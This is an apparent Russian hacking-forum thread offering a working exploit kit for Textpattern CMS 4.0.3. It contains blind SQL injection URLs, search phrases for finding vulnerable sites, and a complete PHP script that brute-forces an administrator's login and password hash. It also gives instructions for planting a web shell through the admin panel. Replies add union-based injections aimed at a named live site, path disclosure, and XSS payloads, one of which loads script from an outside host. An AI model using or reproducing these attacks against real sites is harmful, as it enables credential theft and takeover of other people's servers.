CMS Textpattern Сборка: TXP-Компания - другие продукты не смотрел, возможно эта же уязвимость есть и в них. Версия: textpattern 4.0.3rev1228ru - возможно и другие версии Офф сайт: http://textpattern.ru/ Скачать: http://textpattern.ru/faq/gde-mne-skachat-distributiv-cms - дальше выбираем (2. Если Вам нужен движок для сайта фирмы, то можно скачать готовую к использованию TxP-Компанию Для поиска сайтов с таким двигом: "TXP-Компания" или "Сайт работает под управлением Textpattern" - но тогда есть шанс попасть на другую сборку. [Слепые инъекции:] Code: http://test1.ru/goods/23+and+substring(version(),1,1)=4 http://test1.ru/news/8+and+substring(version(),1,1)=4 http://test1.ru/faq/26+and+substring(version(),1,1)=4 http://test1.ru/about/12+and+substring(version(),1,1)=4 Таблица с пользователями: txp_users - эта таблица БЕЗ префикса Если есть префикс то таблица выглядит так: [префикс]txp_users Тип хеша: mysql [Написал простенький сплоент (работает медленно (минуты 3-20) т.к. посимвольный брут отнимает время):] Для наиболее оптимальной эксплуатации рекомендуется использовать скрипт https://rdot.org/forum/showthread.php?t=7 Сплоент выдирет логин и хеш пароля пользователя с заданным id. PHP: <?php //----------------------------------------------------------------------------- //----Coded-by-Grey------------------------------------------------------------ //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------Данные для редактирования------------------------ $host = 'test.ru'; // Хост. Сайт без http:// и без / на конце, к примеру test.ru $port = '80'; // Порт. $dir = '/'; // Директория где расположен сайт, если сайт расположен в корневом каталоге сайта, то оставить /, к примеру если директория dvig, то вписать /dvig/ $new_id = '8'; // id (номер) существующей новости $user_id = '1'; // id пользователя чьи логин и хеш пароля нужно выдрать $pref = ''; // Дополнительный префикс таблиц. Обычно его нету. //-------Дальше не редактировать----------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //----------------------------------------------------------------------------- //-------Строка содержащая ошибку $strerror = '404 Not Found'; //------- //-------Формирование пути $path = $dir.'news/'.$new_id; echo("Put: $path\r\n"); //------- //-------Описание функций function func_error ($host,$port,$strerror,$path) { $s = fsockopen($host,$port) or die ("Oshibka: ne udaetsy soedinitsy s hostom"); $headers = "GET $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n\r\n"; fputs($s, $headers); $func_error = 0; while(!feof($s)) { if(stristr(fgets($s), $strerror) == true) { $func_error = 1; break; } } fclose($s); return $func_error; } function func_zamena ($n) { if($n == 1) { $n2 = 48; } if($n == 2) { $n2 = 49; } if($n == 3) { $n2 = 50; } if($n == 4) { $n2 = 51; } if($n == 5) { $n2 = 52; } if($n == 6) { $n2 = 53; } if($n == 7) { $n2 = 54; } if($n == 8) { $n2 = 55; } if($n == 9) { $n2 = 56; } if($n == 10) { $n2 = 57; } if($n == 11) { $n2 = 97; } if($n == 12) { $n2 = 98; } if($n == 13) { $n2 = 99; } if($n == 14) { $n2 = 100; } if($n == 15) { $n2 = 101; } if($n == 16) { $n2 = 102; } return $n2; } //------- //-------Определение версии БД $path2 = $path.'+and+substring(version(),1,1)=3'; if(func_error($host,$port,$strerror,$path2) == 0) { $version_3 = 1; } else { $version_3 = 0; } $path2 = $path.'+and+substring(version(),1,1)=4'; if(func_error($host,$port,$strerror,$path2) == 0) { $version_4 = 1; } else { $version_4 = 0; } $path2 = $path.'+and+substring(version(),1,1)=5'; if(func_error($host,$port,$strerror,$path2) == 0) { $version_5 = 1; } else { $version_5 = 0; } if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0)) { echo("Versia BD: 3\r\n"); echo("Dalneishaia rabota ne vozmojna\r\n"); } if(($version_3 == 0) and ($version_4 == 1) and ($version_5 == 0)) { echo("Versia BD: 4\r\n"); } if(($version_3 == 0) and ($version_4 == 0) and ($version_5 == 1)) { echo("Versia BD: 5\r\n"); } if(($version_3 == 1) and ($version_4 == 1) and ($version_5 == 1)) { echo("Oshibka: versia BD ne opredelena"); echo("Dalneishaia rabota ne vozmojna\r\n"); } //------- //-------Определение длинны логина и хеша пароля, получение логина и хеша пароля if(($version_3 == 1) and ($version_4 == 0) and ($version_5 == 0)) { exit(); } if(($version_4 == 1) xor ($version_5 == 1)) { //-------Определение длинны логина $path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))<=20'; if(func_error($host,$port,$strerror,$path2) == 0) { $f_dlina = 1; } else { $f_dlina = 0; } if($f_dlina == 0) { echo("Dlina logina bolshe 20 simvolov\r\n"); } else { for($i = 1; $i <= 20; $i++) { $path2 = $path.'+and+length((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.'))='.$i; if(func_error($host,$port,$strerror,$path2) == 0) { $dlina = $i; break; } } $dlina_logina = $dlina; echo("Dlina logina: $dlina_logina\r\n"); } //------- //-------Получение логина $login = ''; for($i = 1; $i <= $dlina_logina; $i++) { for($i3 = 33; $i3 <= 126; $i3++) { $path2 = $path.'+and+ascii(substring(((select+name+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1))='.$i3; if(func_error($host,$port,$strerror,$path2) == 0) { $simvol = $i3; break; } } $login = $login.chr($simvol); } echo("Login: $login\r\n"); //------- //-------Определение длинны пароля $path2 = $path.'+and+((length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16)+or+(length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=40))'; if(func_error($host,$port,$strerror,$path2) == 0) { $f_dlina = 1; } else { $f_dlina = 0; } if($f_dlina == 0) { echo("Dlina parolya ne opredelena\r\n"); } else { $path2 = $path.'+and+length((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.'))=16'; if(func_error($host,$port,$strerror,$path2) == 0) { $dlina_parolya = 16; } else { $dlina_parolya = 40; } echo("Dlina parolya: $dlina_parolya\r\n"); } //------- $password = ''; for($i = 1; $i <= $dlina_parolya; $i++) { for($i3 = 1; $i3 <= 16; $i3++) { $path2 = $path.'+and+ascii(lower(substring(((select+pass+from+'.$pref.'txp_users+where+user_id='.$user_id.')),'.$i.',1)))='.func_zamena($i3); if(func_error($host,$port,$strerror,$path2) == 0) { $simvol = func_zamena($i3); break; } } $password = $password.chr($simvol); } echo("Pass hash: $password\r\n"); } //------- ?> [Как юзать сплоент:] Отредактировать данные и юзать: c:\php\php.exe c:\sploit.php [Заливка шелла:] В админке (/textpattern/): 1) Выбираем Настройки - Плагины - а дальше правим код (php) и получаем на соответствующей странице шелл. 2) Содежрание - Файлы, заливаем шелл, шелл будет доступен по адресу: /files/shell.php
Спасибо за способ. Хэш достал. Теперь не подскажете как этот хэш расшифровать? Это получается MySQL хэш? Grey: подскажу, но вообще поиск юзать нужно. Почитай тему: https://forum.antichat.ru/thread26983.html Потом запость свой хеш в соответствующую тему: https://forum.antichat.ru/forum76.html - там тебе с ним помогут, + в том разделе есть специальная тема для вопросов.
Эх, увидел CMS до этой темы, всё уже найдено. ( Впрочем, вот что ещё можно добавить к сказанному выше: SQL-иньекция(обычная) http://pek.zp.ua/atom/?id=-1+union+select+version%28%29 Вывод в заголовке SQL-иньекции в админке: Code: http://txtpattern/textpattern/index.php?event=article&step=edit&ID=-4+union+select+1,2,3,4,5,6,7,8,9,version%28%29,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38 Code: http://txtpattern/textpattern/index.php?event=link&step=link_edit&id=-2+union+select+1,2,3,4,5,6,7 Code: http://txtpattern/textpattern/index.php?event=category&step=cat_article_edit&id=-5+union+select+1,2,3,4,5,6,7 Раскрытие путей: http://pek.zp.ua/?q[]= Также максимально подробная информация о сайте доступна из админской панели ../textpattern/index.php?event=diag Ну и несколько XSS-ок для админа: (все в админской панели) Code: http://txtpattern/textpattern/index.php?event=log&step=list&page=2%22%3E%3CsCript%3Eprompt%28%27%27%29;%3C/sCript%3E Code: http://txtpattern/textpattern/index.php?event=tag&name=image&id=1%27&ext=.gif&alt=&h=1&w=400%22%3C/textarea%3E%3E%3CscRipt%3Eprompt%28%27%27%29;%3C/sCript%3E&type=xhtml Code: http://txtpattern/textpattern/index.php?event=page&name=%3Cscript%3Eprompt%28%27%27%29;%3C/sCript%3E
Пассивная XSS в Textpattern 4.2.0 http://site.com/textpattern/index.php?event="><SCRIPT%20type%3Dtext/javascript%20src%3Dhttp://httpz.ru/y3c8l1t9awgo.js></SCRIPT>"